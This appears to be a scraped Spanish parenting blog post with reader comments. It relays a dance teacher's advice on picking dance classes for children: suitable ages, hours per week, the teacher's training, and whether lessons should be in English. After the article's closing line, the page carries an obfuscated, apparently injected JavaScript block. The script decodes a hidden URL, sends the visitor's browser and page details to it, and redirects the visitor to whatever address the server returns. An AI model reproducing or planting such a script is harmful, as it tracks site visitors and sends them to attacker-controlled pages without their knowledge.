«No podemos tratar de que sigan técnicamente los movimientos de un adulto, porque su mente y su cuerpo no están preparados para ello. ¡Cómo vamos a ponerle unos tacones a una niña o querer que un nene gire sobre sí mismo si aún están ubicándose y encontrándose a nivel motor», explica Laura. Por eso recomienda empezar con predanza o danza en movimiento.
2. Los beneficios de esta disciplina son infinitos tanto a nivel individual como colectivo, ya que ayuda a relacionarse con los demás, se trabaja mucho la cooperación y la colectividad, además del desarrollo físico y psíquico del alumno.
3. Cada edad tiene su proceso de aprendizaje. «Entre los cuatro y los seis años lo ideal es una predanza para que den rienda suelta a su imaginación y creatividad, tomen conciencia de su propio cuerpo y desarrollen su ritmo innato, todo, por supuesto, a base de juegos y de una manea lúdica y divertida. A partir de los siete ya se puede empezar con pinceladas de técnica y los ocho y nueve años son perfectos para trabajar la técnica porque son esponjas e imitan, comprenden y coordinan», añade Laura.
4. El tiempo dedicado a esta extraescolar varía según la edad del niño y de la jornada escolar que tenga. Laura recomienda para los más pequeños uno o dos días a la semana y según van siendo mayores o quieran especializarse se puede ir aumentando a tres o cuatro.
5. La disciplina elegida, en este caso la danza, les tiene que llamar la atención, pero el papel del profesor es fundamental para que el amor por esta actividad vaya en aumento. Además de ser un buen bailarín, este tiene que saber enseñar. Puede sonar un poco violento, pero no está demás preguntar en la academia por la formación del responsable de la clase y si tiene nociones de pedagogía psicológica, ha estudiado en el conservatorio, tiene algún máster de artes escénicas…
6. Por último, una corriente muy extendida últimamente es apuntar a nuestros hijos a todo en inglés: fútbol en inglés, música en inglés, cocina en inglés… ¡¡¡y muchas veces lo que hacemos es complicarnos la existencia!!! “En una clase de ballet los nombres de los pasos son en francés y esto es universal. Además, ¿para qué les vas a hablar en inglés si no van a entender la ejecución exacta de un paso y se pueden lastimar? Creo sinceramente que todo tiene su momento y su contexto”, concluye Laura.
Con estas pautas, yo ya he buscado dos academias de baile por mi zona. Elena ha hecho la clase de prueba en las dos y ya me ha dicho cuál le ha gustado más. ¿Habremos elegido bien? ¡Seguro que sí! var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Cuenta cuenta!!!!
tienes mucha razón,el baile es una de las mejores actividades para hacer ,por sus beneficios físicos como psicológicos.
muy bueno el articulo.
Muy buen artículo.
No es una tarea fácil seleccionar actividades extraescolares para nuestros hijos, son muchas las opciones que hay.
El baile es una muy buena opción, sin duda alguna lo recomiendo!
Muchas gracias por publicar este artículo con todos nosotros, será de gran ayuda.
Buenos consejos para elegir clases de baile para tus hijos. Un artículo muy útil. Gracias por toda la información proporcionada.